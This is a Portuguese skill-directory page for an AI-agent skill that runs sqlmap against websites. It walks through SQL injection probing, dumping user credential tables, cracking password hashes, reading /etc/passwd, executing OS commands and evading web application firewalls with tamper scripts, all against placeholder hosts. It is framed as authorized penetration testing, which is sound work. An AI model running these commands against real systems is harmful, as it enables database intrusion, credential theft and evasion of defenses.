Pular para o conteúdo
Skillpedia
Agentes35 mil · #5761

exploiting-sql-injection-with-sqlmap

Ajuda seu agente a detectar e explorar injeções de SQL usando a ferramenta sqlmap.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas 'SQL Injection' em sites. Ela permite extrair informações importantes de bancos de dados de forma autorizada, como parte de testes de segurança.

Quando usar

  • ✓Ao testar a segurança de sites com permissão.
  • ✓Quando suspeitas de falhas em formulários ou links.
  • ✓Para provar o impacto de uma falha de segurança, roubando dados.

Exemplo do que pedir para a IA

“Encontre falhas de SQL Injection no site example.com e extraia os nomes de usuário e senhas da tabela 'users'.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia comandos especiais para o banco de dados do site. Se houver uma falha, ela consegue ler ou modificar informações, como se estivesse conversando diretamente com o banco de dados.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Injeção SQL com sqlmap

Quando Usar

  • Durante testes de penetração autorizados em aplicações web
  • Quando testes manuais revelam pontos potenciais de injeção SQL em parâmetros, cabeçalhos ou cookies
  • Para validar descobertas de injeção SQL de scanners automatizados como Burp Suite ou OWASP ZAP
  • Quando você precisa demonstrar o impacto da injeção SQL extraindo dados de bancos de dados backend
  • Durante desafios de CTF envolvendo exploração de injeção SQL

Pré-requisitos

  • Autorização: Acordo escrito de teste de penetração (Regras de Engajamento) para o alvo
  • sqlmap: Instale via pip install sqlmap ou apt install sqlmap no Kali Linux
  • Python 3.6+: Runtime necessário para o sqlmap
  • Burp Suite (opcional): Para capturar e reenviar requisições HTTP
  • Acesso ao Alvo: Conectividade de rede com a aplicação web alvo
  • Navegador com proxy: Firefox com FoxyProxy para interceptar requisições

Fluxo de Trabalho

Passo 1: Identificar Pontos de Injeção Potenciais

Navegue manualmente pela aplicação e identifique parâmetros que interagem com o banco de dados. Use o Burp Suite para capturar requisições.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Passo 2: Executar Scan de Detecção Básica do sqlmap

Execute o sqlmap contra o ponto de injeção suspeito para confirmar a vulnerabilidade e identificar o tipo de banco de dados.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Passo 3: Enumerar a Estrutura do Banco de Dados

Uma vez confirmada a injeção, enumere bancos de dados, tabelas e colunas.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Passo 4: Extrair Dados de Tabelas Alvo

Descarregue o conteúdo de tabelas sensíveis para demonstrar o impacto.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Passo 5: Testar Vetores de Exploração Avançada

Avalie o impacto total testando acesso em nível de sistema operacional e operações de arquivo.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Passo 6: Usar Scripts Tamper para Contornar WAF/Filtros

Quando Firewalls de Aplicação Web ou filtros de entrada bloqueiam payloads básicos, use scripts tamper.

# Scripts tamper comuns para bypass de WAF
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \

…
Perguntas frequentes

O que é SQL Injection?

É uma falha de segurança que permite a um atacante inserir comandos maliciosos em um banco de dados através de um site.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização escrita antes de testar qualquer sistema. Usar sem permissão é ilegal.

O que são 'tamper scripts'?

São pequenos programas que ajudam a ferramenta a disfarçar os comandos enviados, para que firewalls ou outros sistemas de segurança não os detectem.

Detalhes

Descrição original do autor

Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5761
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas